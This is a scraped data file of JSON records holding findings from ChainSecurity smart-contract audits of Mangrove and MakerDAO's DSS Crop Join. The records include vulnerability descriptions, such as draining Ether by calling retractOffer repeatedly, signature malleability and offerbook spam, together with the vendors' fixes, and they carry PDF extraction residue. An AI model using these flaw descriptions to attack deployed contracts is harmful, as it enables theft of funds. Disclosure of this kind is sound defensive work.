r and s arguments allow attackers to craft malleable signatures. According to Yellowpaper Appendix F, the signature is considered valid only if v, r and s values meet certain conditions. The ecrecover for invalid values will return address 0x0 and verification will fail without informative error. The OpenZeppelin's ECDSA library performs such checks and reverts with informative messages. Risk Accepted: Giry responded: Code changes necessary for improved error messages would go past the contract size limit. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "6.3 No Minimum Value for gasreq", "body": " Either to create a new offer or to update an existing one, the maker must provide a value for gasreq. In the current implementation, there is no minimum required value. The value for gasreq may even be set to 0, which means 0 gas requirements for the calls executed on the maker's side. Nevertheless, both calls are executed, the first call to makerExecute with all gas defined in gasreq and the second to makerPosthook with the \"leftover\" gas from gasreq. With 0 gas these low-level calls are started but immediately revert. The system could allow these calls to be skipped when the maker sets a zero / low amount for gasreq. Acknowledged: Giry responded: The gas saved by treating 0-gasreq as a special case is not worth the added code complexity. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "6.4 Redundant Check in writeOffer", "body": " When writeOffer is called a check that ofp.gives > 0 is performed. However, the check presented below is also performed and implies the same since both density and gasbase should be positive under normal circumstances. ofp.gives >= (ofp.gasreq + $$(local_offer_gasbase(\"ofp.local\"))) * $$(local_density(\"ofp.local\")), No Issue: Giry responded: It is possible for governance to set values such that the second check does not imply the first. The first check maintains a critical invariant. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "6.5 Spamming the Offerbook", "body": " Giry - Mangrove - 15 DesignLowVersion1AcknowledgedDesignLowVersion1AcknowledgedSecurityLowVersion1RiskAccepted \fAn attacker may spam the offerbook with attractive offers reverting immediately upon execution. Depending on the parameters chosen by the governance for density and offer_gasbase the resulting minimum penalty paid for the failing offer may be rather low. Notably it is sufficient to have 85 such failing offers in the offer book (offering a very low price to ensure to be on top) to cause a revert of the transaction due to an EVM stack too deep error. Hence any transaction to marketOrder() of this base/quote pair will revert leaving the state unchanged. It's still possible for keepers to clean the offerbook by sniping these offers, however such offers may reinstantiate themself during the makerPosthook(). Risk Accepted: Giry responded: Any self-reinserting spam is vulnerable to draining by any keeper. Giry - Mangrove - 16 \f7 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings Draining All Ether Provisions of Mangrove -Severity Findings -Severity Findings If Condition Always True Rounding Errors In Partial Filling -Severity Findings Call in makerPosthook Fails Silently Fields of Events Not Indexed Imprecise Comment Maximize Penalty Collected Misleading Variable Names in stitchOffers Overrestrictive Check in deductSenderAllowance Repetitive Code 1 0 2 7 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "7.1 Draining All Ether Provisions of Mangrove", "body": " Makers can retract their offer by calling retractOffer(). This function accepts the boolean parameter deprovision which allows the maker to choose to either deprovision the offer or not. Deprovisioning an offer credits back the provision to the maker. At the same time it must be ensured that this offer is removed from the offerbook and its gasprice must be set to 0 as the offer is no longer provisioned. Not all possible cases are handled correctly inside function retractOffer(). For offers that are not live (this means they have a 0 amount for offer.gives) the provision can be credited back to the maker without the offer's gasprice being set to zero. Hence retractOffer() with deprovision set to true can be executed successfully repeatedly. Consequently a maker can reclaim more provision than he initially paid for the offer. This bug allows to eventually drain all Ether of Mangrove. An offer can easily reach offers.gives = 0 which means it is considered to not be live: By calling retractOffer() with bool deprovision set to false, dirtyDeleteOffer() is executed. This call sets offer.gives to zero however without setting offer.gasprice to zero due to deprovision being false. After the offer has been consumed by an order offer.gives is 0. Giry - Mangrove - 17 CriticalCodeCorrectedHighMediumCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSecurityCriticalVersion1CodeCorrected \fCode Corrected: The call to dirtyDeleteOffer() was moved out of the isLive scope. Hence whenever deprovision is set to true and the provision is credited back to the Maker, the order is deprovisioned. Calling the function repeatedly on the same offer no longer allows to drain Ether of Mangrove, the issue has been resolved. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "7.2 If Condition Always True", "body": " During the execution of function execute the following check is performed: if (statusCode != \"mgv/notExecuted\") { dirtyDeleteOffer( ... ); } However statusCode cannot have the value mgv/notExecuted at this point so the condition is always true. Code Corrected: The code now runs unconditionally. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "7.3 Rounding Errors In Partial Filling", "body": " A maker's order can be partially filled according to the following snippet: if (mor.fillWants) { sor.gives = (offerWants * takerWants) / offerGives; } else { sor.wants = (offerGives * takerGives) / offerWants; } Note that the division can yield rounding errors. The rounding errors can be as extreme as giving funds to the maker without receiving anything in return or taking from the maker without giving anything back. For example, consider the case where the maker offers 10 A for 5 B and taker wants to take only 1 A (fillWants == true). Then, according to the formula she has to offer 5 * 1 / 10 = 0 B. Code corrected Prices are now always rounded in favor for the taker to avoid any maker draining. Hence, to calculate sor.gives when fillWants is true the code has been changed to: Giry - Mangrove - 18 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fuint product = offerWants * takerWants; sor.gives = product / offerGives + (product % offerGives == 0 ? 0 : 1); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "7.4 Call in makerPosthook Fails Silently", "body": " The return value success2 in makerPosthook() is never handled. Thus a failed execution of the hook can go unnoticed and unlogged. Code Corrected: A log event is emitted on posthook revert. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "7.5 Fields of Events Not Indexed", "body": " No parameter of the events defined in MgvEvents is marked as indexed. Indexing fields of events, e.g. addresses, allows to search for them easily. /* Mangrove adds or removes wei from `maker`'s account */ /* * Credit event occurs when an offer is removed from the Mangrove or when the `fund` function is called*/ event Credit(address maker, uint amount); /* * Debit event occurs when an offer is posted or when the `withdraw` function is called */ event Debit(address maker, uint amount); /* * Mangrove reconfiguration */ event SetActive(address base, address quote, bool value); event SetFee(address base, address quote, uint value); event SetGasbase( address base, address quote, uint overhead_gasbase, uint offer_gasbase ); Code Corrected: The relevant arguments were indexed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "7.6 Imprecise Comment", "body": " At the beginning of function execute() the code handles whether the full offer is to be consumed or only a partial amount of the offer should be taken by the order. Giry - Mangrove - 19 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \fif ( (mor.fillWants && offerGives < takerWants) || (!mor.fillWants && offerWants < takerGives) || offerWants == 0 ) { sor.wants = offerGives; sor.gives = offerWants; /* If we are in neither of the above cases, then the offer will be partially consumed. */ } else { /* If `fillWants` is true, we give `takerWants` to the taker and adjust how much they give based on the offer's price. Note that we round down how much the taker will give. */ if (mor.fillWants) { /* **Note**: We know statically that the offer is live (`offer.gives > 0`) since market orders only traverse live offers and `internalSnipes` check for offer liveness before executing. */ sor.gives = (offerWants * takerWants) / offerGives; /* If `fillWants` is false, we take `takerGives` from the taker and adjust how much they get based on the offer's price. Note that we round down how much the taker will get.*/ } else { /* **Note**: We know statically by outer `else` branch that `offerGives > 0`. */ sor.wants = (offerGives * takerGives) / offerWants; } } The last comment Note: We know statically by outer else branch that offerGives > 0. is not entirely correct: While it holds that offerGives is > 0 this is not due to being in the outer else branch but due to it having been ensured earlier that the offer is live, so offerGives is >0. Due to being in the outer else branch we know that offerWants is non-zero and hence we are sure there will be no division by zero which is the important consideration here. Code Corrected: The comment was changed to: Note: We know statically by outer else branch that offerWants > 0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "7.7 Maximize Penalty Collected", "body": " Function snipes() allows keepers to snipe multiple failing offers at once and thereby collect the penalty. However, when multiple offers fail within one order, the base gas fee is split amongst all failing offers. This is done in order to distribute the base fees that applies once per transaction evenly across all affected offers. In order to maximize their profit, professional keepers may deploy their own smart contract calling snipe() individually on each offer without increasing their expenses significantly, in order to ensure to always collect the maximum penalty possible. The sniping mechanism has changed and, now, snipes() treats all snipes in isolation. With this change overhead_gasbase was removed and the scenario described above no longer applies. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "7.8 Misleading Variable Names in stitchOffers", "body": " Giry - Mangrove - 20 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fIn stitchOffers the variable names worseId and betterId are used. However, the betterId refers to the offer next to the offer under consideration and worseId refers to the previous one. This seems to contradict the naming convention holding for the offerbook. According to this convention, for a given offer, its previous offer is a better one and its next offer a worse one. Code Corrected: The names of the variables were swapped. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "7.9 Overrestrictive Check in ", "body": " deductSenderAllowance deductSenderAllowance checks if the amount used does for a trade does not exceed the allowance the use has set. However, it prevents the full allowed amount from being used since the equality is not checked. require(allowed > amount, \"mgv/lowAllowance\"); Code Corrected: > was replaced with >=. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "7.10 Repetitive Code", "body": " In postExecute the following snippet is used right before the call to applyPenalty(). if (gasused > gasreq) { gasused = gasreq; } Later, in applyPenalty the same snippet is repeated as follows: if ($$(offerDetail_gasreq(\"sor.offerDetail\")) < gasused) { gasused = $$(offerDetail_gasreq(\"sor.offerDetail\")); } which is redundant. Code Corrected: The second check in postExecute was removed. Giry - Mangrove - 21 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. Hence, the mentioned topics serve to clarify or support the report, but do not require a modification inside the project. Instead, they should raise awareness in order to improve the overall understanding for users and developers. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "8.1 Bitwords Benefits", "body": " In the implementation of Mangrove, structs to be stored in storage and handled as bitwords. This is done to improve gas efficiency. However, given that equivalent native solidity structs could fit in on storage slot, the benefits from such a decision are questionable. The main downside of this decision is the extra layer of complexity, introduced in the form of solidity code preprocessing, which aims to facilitate the handling of such bitwords. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "8.2 Choosing the Parameter gasreq", "body": " When choosing the parameter gasreq, makers must be aware of certain things: As described in the code, the maker may receive only gasreq-63h/64 gas, where h is the overhead of (require + cost of CALL). Nevertheless, should the call fail due to insufficient gas the maker is accountable for this and if the overall gas remaining in the transaction is sufficient, the transaction penalizes the maker and completes successfully. The comment states: We let the maker pay for the overhead of checking remaining gas and making the call. Albeit minor, the maker also pays for the overhead to handle the return data. All of this needs to be taken account when selecting the value for gasreq, especially in order to ensure enough gas will be available to the call to makerPosthook. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "8.3 Estimation of the Gas Limit for a ", "body": " marketOrder Transaction Estimating the gas limit for a transaction to marketOrder is tricky. Underestimating it leads to the transaction to revert, while overestimating it increases the risk of a high tx fee for a failing transaction. Function marketOrder is dependent on the actual status of the offer book which may change significantly between when the transaction is generated and signed and when it is executed by being included inside a block. Offers may be added or removed resulting the gas requirement for the offers being executed as part of the order may change significantly. While marketOrder can skip failing offers and refund the taker, it can only do so successfully when the transaction has enough gas. To avoid failing transactions users have to overestimate the gas required. Giry - Mangrove - 22 NoteVersion1NoteVersion1NoteVersion1 \f8.4 Payable Fallback Functions For Taker Contracts Takers may be contracts. When makers are penalised, provision is sent to the takers by a low level call msg.sender.call{value: amount}(\"\"). In this case, taker contracts must be able to handle the ether received by implementing fallback functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "8.5 Tokens With Transfer Fees", "body": " Mangrove is supposed to handle the exchange of ERC20 tokens. As shown in the snippet below, the system expects to send to the maker the same amount (sor.gives) it received from the taker. However, in the case of the tokens with transfer fees this trade will fail since the amount received and forwarded by Mangrove will be different than the one requested due to the fees. By providing additional balance of this token to the contract ahead of the transaction, a party may make the transfer to succeed nevertheless. This may be done by either the maker or the taker. The other party then receives less tokens then expected, as the transfer fee will be deducted. if (transferTokenFrom(sor.quote, taker, address(this), sor.gives)) { if ( transferToken( sor.quote, $$(offerDetail_maker(\"sor.offerDetail\")), sor.gives ) ) { ... Giry - Mangrove - 23 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "6.1 No Protection for Keepers", "body": " ISSUEIDPREFIX-001 Generally, keepers may just be interested in collecting the penalty of failing offers. In Mangrove however, an offer could always succeed unexpectedly due to changing on-chain conditions. In this case, a keeper/taker may have executed an offer he did not actually intended to take and which may had a bad exchange rate. Note that offers may only fail when significant amounts of tokens are flashloaned to the maker up front but the very same offer may succeed for lower amounts. Unaware keepers may be tricked by honeypot offers (offers that appear to fail but in reality don't fail) by malicious makers. Keepers may protect themself by wrapping their call in a smart contract and checking for the expected outcome, but the code of Mangrove itself does not offer such a feature directly. Risk Accepted: Mangrove Association (ADDMA) responded: Indeed all keepers should wrap their calls in a reverting contract. This protective wrapper does not need to be inside Mangrove. We plan to provide a standard wrapper at a separate address. Mangrove Association (ADDMA) - Mangrove - 14 SecurityDesignCorrectnessCriticalHighMediumRiskAcceptedLowRiskAcceptedAcknowledgedAcknowledgedRiskAcceptedDesignMediumVersion1RiskAccepted \f6.2 ECDSA Signature Malleability The permit function utilizes the ECDSA scheme. However missing checks for the v, r and s arguments allow attackers to craft malleable signatures. According to Yellowpaper Appendix F, the signature is considered valid only if v, r and s values meet certain conditions. The ecrecover for invalid values will return address 0x0 and verification will fail without informative error. The OpenZeppelin's ECDSA library performs such checks and reverts with informative messages. ISSUEIDPREFIX-002 Risk Accepted: Mangrove Association (ADDMA) responded: Code changes necessary for improved error messages would go past the contract size limit. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "6.3 No Minimum Value for gasreq", "body": " Either to create a new offer or to update an existing one, the maker must provide a value for gasreq. In the current implementation, there is no minimum required value. The value for gasreq may even be set to 0, which means 0 gas requirements for the calls executed on the maker's side. Nevertheless, both calls are executed, the first call to makerExecute with all gas defined in gasreq and the second to makerPosthook with the \"leftover\" gas from gasreq. With 0 gas these low-level calls are started but immediately revert. The system could allow these calls to be skipped when the maker sets a zero / low amount for gasreq. ISSUEIDPREFIX-003 Acknowledged: Mangrove Association (ADDMA) responded: The gas saved by treating 0-gasreq as a special case is not worth the added code complexity. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "6.4 Redundant Check in writeOffer", "body": " When writeOffer is called a check that ofp.gives > 0 is performed. However, the check presented below is also performed and implies the same since both density and gasbase should be positive under normal circumstances. ISSUEIDPREFIX-004 ofp.gives >= (ofp.gasreq + $$(local_offer_gasbase(\"ofp.local\"))) * $$(local_density(\"ofp.local\")), No Issue: Mangrove Association (ADDMA) - Mangrove - 15 DesignLowVersion1RiskAcceptedDesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \fMangrove Association (ADDMA) responded: It is possible for governance to set values such that the second check does not imply the first. The first check maintains a critical invariant. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "6.5 Spamming the Offerbook", "body": " ISSUEIDPREFIX-005 An attacker may spam the offerbook with attractive offers reverting immediately upon execution. Depending on the parameters chosen by the governance for density and offer_gasbase the resulting minimum penalty paid for the failing offer may be rather low. Notably it is sufficient to have 85 such failing offers in the offer book (offering a very low price to ensure to be on top) to cause a revert of the transaction due to an EVM stack too deep error. Hence any transaction to marketOrder() of this base/quote pair will revert leaving the state unchanged. It's still possible for keepers to clean the offerbook by sniping these offers, however such offers may reinstantiate themself during the makerPosthook(). Risk Accepted: Mangrove Association (ADDMA) responded: Any self-reinserting spam is vulnerable to draining by any keeper. Mangrove Association (ADDMA) - Mangrove - 16 SecurityLowVersion1RiskAccepted \f7 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings Draining All Ether Provisions of Mangrove -Severity Findings -Severity Findings If Condition Always True Rounding Errors In Partial Filling -Severity Findings Wrong Comment Call in makerPosthook Fails Silently Fields of Events Not Indexed Imprecise Comment Maximize Penalty Collected Misleading Variable Names in stitchOffers Overrestrictive Check in deductSenderAllowance Repetitive Code 1 0 2 8 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "7.1 Draining All Ether Provisions of Mangrove", "body": " ISSUEIDPREFIX-014 Makers can retract their offer by calling retractOffer(). This function accepts the boolean parameter deprovision which allows the maker to choose to either deprovision the offer or not. Deprovisioning an offer credits back the provision to the maker. At the same time it must be ensured that this offer is removed from the offerbook and its gasprice must be set to 0 as the offer is no longer provisioned. Not all possible cases are handled correctly inside function retractOffer(). For offers that are not live (this means they have a 0 amount for offer.gives) the provision can be credited back to the maker without the offer's gasprice being set to zero. Hence retractOffer() with deprovision set to true can be executed successfully repeatedly. Consequently a maker can reclaim more provision than he initially paid for the offer. This bug allows to eventually drain all Ether of Mangrove. An offer can easily reach offers.gives = 0 which means it is considered to not be live: By calling retractOffer() with bool deprovision set to false, dirtyDeleteOffer() is executed. This call sets offer.gives to zero however without setting offer.gasprice to zero due to deprovision being false. Mangrove Association (ADDMA) - Mangrove - 17 CriticalCodeCorrectedHighMediumCodeCorrectedCodeCorrectedLowSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSecurityCriticalVersion1CodeCorrected \f After the offer has been consumed by an order offer.gives is 0. Code Corrected: The call to dirtyDeleteOffer() was moved out of the isLive scope. Hence whenever deprovision is set to true and the provision is credited back to the Maker, the order is deprovisioned. Calling the function repeatedly on the same offer no longer allows to drain Ether of Mangrove, the issue has been resolved. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "7.2 If Condition Always True", "body": " During the execution of function execute the following check is performed: ISSUEIDPREFIX-006 if (statusCode != \"mgv/notExecuted\") { dirtyDeleteOffer( ... ); } However statusCode cannot have the value mgv/notExecuted at this point so the condition is always true. Code Corrected: The code now runs unconditionally. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "7.3 Rounding Errors In Partial Filling", "body": " A maker's order can be partially filled according to the following snippet: if (mor.fillWants) { sor.gives = (offerWants * takerWants) / offerGives; } else { sor.wants = (offerGives * takerGives) / offerWants; } ISSUEIDPREFIX-015 Note that the division can yield rounding errors. The rounding errors can be as extreme as giving funds to the maker without receiving anything in return or taking from the maker without giving anything back. For example, consider the case where the maker offers 10 A for 5 B and taker wants to take only 1 A (fillWants == true). Then, according to the formula she has to offer 5 * 1 / 10 = 0 B. Code corrected Mangrove Association (ADDMA) - Mangrove - 18 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fPrices are now always rounded in favor for the taker to avoid any maker draining. Hence, to calculate sor.gives when fillWants is true the code has been changed to: uint product = offerWants * takerWants; sor.gives = product / offerGives + (product % offerGives == 0 ? 0 : 1); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "7.4 Wrong Comment", "body": " ISSUEIDPREFIX-016 the In comment In case of failure, `retdata` encodes the gas ... is present in the block if(success), thus should be In case of success, .... MgvOfferTaking.execute, function the Specification changed: The comment has been corrected. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "7.5 Call in makerPosthook Fails Silently", "body": " The return value success2 in makerPosthook() is never handled. Thus a failed execution of the hook can go unnoticed and unlogged. ISSUEIDPREFIX-008 Code Corrected: A log event is emitted on posthook revert. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "7.6 Fields of Events Not Indexed", "body": " No parameter of the events defined in MgvEvents is marked as indexed. Indexing fields of events, e.g. addresses, allows to search for them easily. /* Mangrove adds or removes wei from `maker`'s account */ /* * Credit event occurs when an offer is removed from the Mangrove or when the `fund` function is called*/ event Credit(address maker, uint amount); /* * Debit event occurs when an offer is posted or when the `withdraw` function is called */ event Debit(address maker, uint amount); /* * Mangrove reconfiguration */ ISSUEIDPREFIX-011 Mangrove Association (ADDMA) - Mangrove - 19 CorrectnessLowVersion7Speci\ufb01cationChangedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f event SetActive(address base, address quote, bool value); event SetFee(address base, address quote, uint value); event SetGasbase( address base, address quote, uint overhead_gasbase, uint offer_gasbase ); Code Corrected: The relevant arguments were indexed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "7.7 Imprecise Comment", "body": " At the beginning of function execute() the code handles whether the full offer is to be consumed or only a partial amount of the offer should be taken by the order. ISSUEIDPREFIX-007 if ( (mor.fillWants && offerGives < takerWants) || (!mor.fillWants && offerWants < takerGives) || offerWants == 0 ) { sor.wants = offerGives; sor.gives = offerWants; /* If we are in neither of the above cases, then the offer will be partially consumed. */ } else { /* If `fillWants` is true, we give `takerWants` to the taker and adjust how much they give based on the offer's price. Note that we round down how much the taker will give. */ if (mor.fillWants) { /* **Note**: We know statically that the offer is live (`offer.gives > 0`) since market orders only traverse live offers and `internalSnipes` check for offer liveness before executing. */ sor.gives = (offerWants * takerWants) / offerGives; /* If `fillWants` is false, we take `takerGives` from the taker and adjust how much they get based on the offer's price. Note that we round down how much the taker will get.*/ } else { /* **Note**: We know statically by outer `else` branch that `offerGives > 0`. */ sor.wants = (offerGives * takerGives) / offerWants; } } The last comment Note: We know statically by outer else branch that offerGives > 0. is not entirely correct: While it holds that offerGives is > 0 this is not due to being in the outer else branch but due to it having been ensured earlier that the offer is live, so offerGives is >0. Due to being in the outer else branch we know that offerWants is non-zero and hence we are sure there will be no division by zero which is the important consideration here. Code Corrected: The comment was changed to: Note: We know statically by outer else branch that offerWants > 0. Mangrove Association (ADDMA) - Mangrove - 20 CorrectnessLowVersion1CodeCorrected \f7.8 Maximize Penalty Collected Function snipes() allows keepers to snipe multiple failing offers at once and thereby collect the penalty. However, when multiple offers fail within one order, the base gas fee is split amongst all failing offers. This is done in order to distribute the base fees that applies once per transaction evenly across all affected offers. In order to maximize their profit, professional keepers may deploy their own smart contract calling snipe() individually on each offer without increasing their expenses significantly, in order to ensure to always collect the maximum penalty possible. ISSUEIDPREFIX-009 The sniping mechanism has changed and, now, snipes() treats all snipes in isolation. With this change overhead_gasbase was removed and the scenario described above no longer applies. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "7.9 Misleading Variable Names in stitchOffers", "body": " In stitchOffers the variable names worseId and betterId are used. However, the betterId refers to the offer next to the offer under consideration and worseId refers to the previous one. This seems to contradict the naming convention holding for the offerbook. According to this convention, for a given offer, its previous offer is a better one and its next offer a worse one. ISSUEIDPREFIX-010 Code Corrected: The names of the variables were swapped. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "7.10 Overrestrictive Check in ", "body": " deductSenderAllowance deductSenderAllowance checks if the amount used does for a trade does not exceed the allowance the use has set. However, it prevents the full allowed amount from being used since the equality is not checked. ISSUEIDPREFIX-012 require(allowed > amount, \"mgv/lowAllowance\"); Code Corrected: Mangrove Association (ADDMA) - Mangrove - 21 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f> was replaced with >=. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "7.11 Repetitive Code", "body": " In postExecute the following snippet is used right before the call to applyPenalty(). ISSUEIDPREFIX-013 if (gasused > gasreq) { gasused = gasreq; } Later, in applyPenalty the same snippet is repeated as follows: if ($$(offerDetail_gasreq(\"sor.offerDetail\")) < gasused) { gasused = $$(offerDetail_gasreq(\"sor.offerDetail\")); } which is redundant. Code Corrected: The second check in postExecute was removed. Mangrove Association (ADDMA) - Mangrove - 22 DesignLowVersion1CodeCorrected \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. Hence, the mentioned topics serve to clarify or support the report, but do not require a modification inside the project. Instead, they should raise awareness in order to improve the overall understanding for users and developers. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "8.1 Bitwords Benefits", "body": " In the implementation of Mangrove, structs to be stored in storage and handled as bitwords. This is done to improve gas efficiency. However, given that equivalent native solidity structs could fit in on storage slot, the benefits from such a decision are questionable. The main downside of this decision is the extra layer of complexity, introduced in the form of solidity code preprocessing, which aims to facilitate the handling of such bitwords. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "8.2 Choosing the Parameter gasreq", "body": " When choosing the parameter gasreq, makers must be aware of certain things: As described in the code, the maker may receive only gasreq-63h/64 gas, where h is the overhead of (require + cost of CALL). Nevertheless, should the call fail due to insufficient gas the maker is accountable for this and if the overall gas remaining in the transaction is sufficient, the transaction penalizes the maker and completes successfully. The comment states: We let the maker pay for the overhead of checking remaining gas and making the call. Albeit minor, the maker also pays for the overhead to handle the return data. All of this needs to be taken account when selecting the value for gasreq, especially in order to ensure enough gas will be available to the call to makerPosthook. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "8.3 Estimation of the Gas Limit for a ", "body": " marketOrder Transaction Estimating the gas limit for a transaction to marketOrder is tricky. Underestimating it leads to the transaction to revert, while overestimating it increases the risk of a high tx fee for a failing transaction. Function marketOrder is dependent on the actual status of the offer book which may change significantly between when the transaction is generated and signed and when it is executed by being included inside a block. Offers may be added or removed resulting the gas requirement for the offers being executed as part of the order may change significantly. While marketOrder can skip failing offers and refund the taker, it can only do so successfully when the transaction has enough gas. To avoid failing transactions users have to overestimate the gas required. Mangrove Association (ADDMA) - Mangrove - 23 NoteVersion1NoteVersion1NoteVersion1 \f8.4 Payable Fallback Functions For Taker Contracts Takers may be contracts. When makers are penalised, provision is sent to the takers by a low level call msg.sender.call{value: amount}(\"\"). In this case, taker contracts must be able to handle the ether received by implementing fallback functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "8.5 Tokens With Transfer Fees", "body": " Mangrove is supposed to handle the exchange of ERC20 tokens. As shown in the snippet below, the system expects to send to the maker the same amount (sor.gives) it received from the taker. However, in the case of the tokens with transfer fees this trade will fail since the amount received and forwarded by Mangrove will be different than the one requested due to the fees. By providing additional balance of this token to the contract ahead of the transaction, a party may make the transfer to succeed nevertheless. This may be done by either the maker or the taker. The other party then receives less tokens then expected, as the transfer fee will be deducted. if (transferTokenFrom(sor.quote, taker, address(this), sor.gives)) { if ( transferToken( sor.quote, $$(offerDetail_maker(\"sor.offerDetail\")), sor.gives ) ) { ... Mangrove Association (ADDMA) - Mangrove - 24 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-smart-contract/"}, {"title": "6.1 Unnecessary Additional Transfers", "body": " In functions exitGem, wipeAndFreeGem, wipeAllAndFreeGem of the DssProxyActionsCropper as well as in function freeGem of the DssProxyActionsEndCropper the collateral is first exited to the DSProxy before being transferred onward to msg.sender. The gems may be exited to msg.sender directly. Acknowledged: MakerDAO replied: This is intentional to keep the rewards in the ds-proxy account. This way the ds-proxy owner can choose when to withdraw them. This paradigm of leaving the rewards in the ds-proxy is used for all actions calling join and exit. It was preferred by some of the UI projects integrating with Maker. MakerDAO - DSS Crop Join - 13 DesignCorrectnessCriticalHighMediumLowAcknowledgedDesignLowVersion3Acknowledged \f7 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings -Severity Findings Documentation Not up to Date Event Fields Consistency Incorrect Decimal Annotation Urn Proxy Load Inefficiency NewProxy Event Consistency 0 0 0 5 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-crop-join/"}, {"title": "7.1 Documentation Not up to Date", "body": " README.md describes tack and the auction process: The winner of a collateral auction claims their collateral via flip.deal This describes the old liquidation process using the Cat. The ilks of CropJoin however will use liquidations 2.0 with the Dog and a slightly altered auction contract. Flip.deal() is not part of this. Other recent maker projects contained a \"Risk\" section in their documentation. Different than the traditional GemJoin adapter which just locks the collateral, CropJoin stakes the collateral into a third party system. This introduces new risks which should be documented appropriately. Specification changed: The readme was updated and now describes the liquidation process using the Dog. Risk consideration have not been added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-crop-join/"}, {"title": "7.2 Event Fields Consistency", "body": " 1. In CropJoin, the Join and Exit events differ from the system's default ones in the sense that they do not contain the indexed address field. 2. The Flee event has no fields. Emitting this event will cost gas and will not give any useful information off-chain. MakerDAO - DSS Crop Join - 14 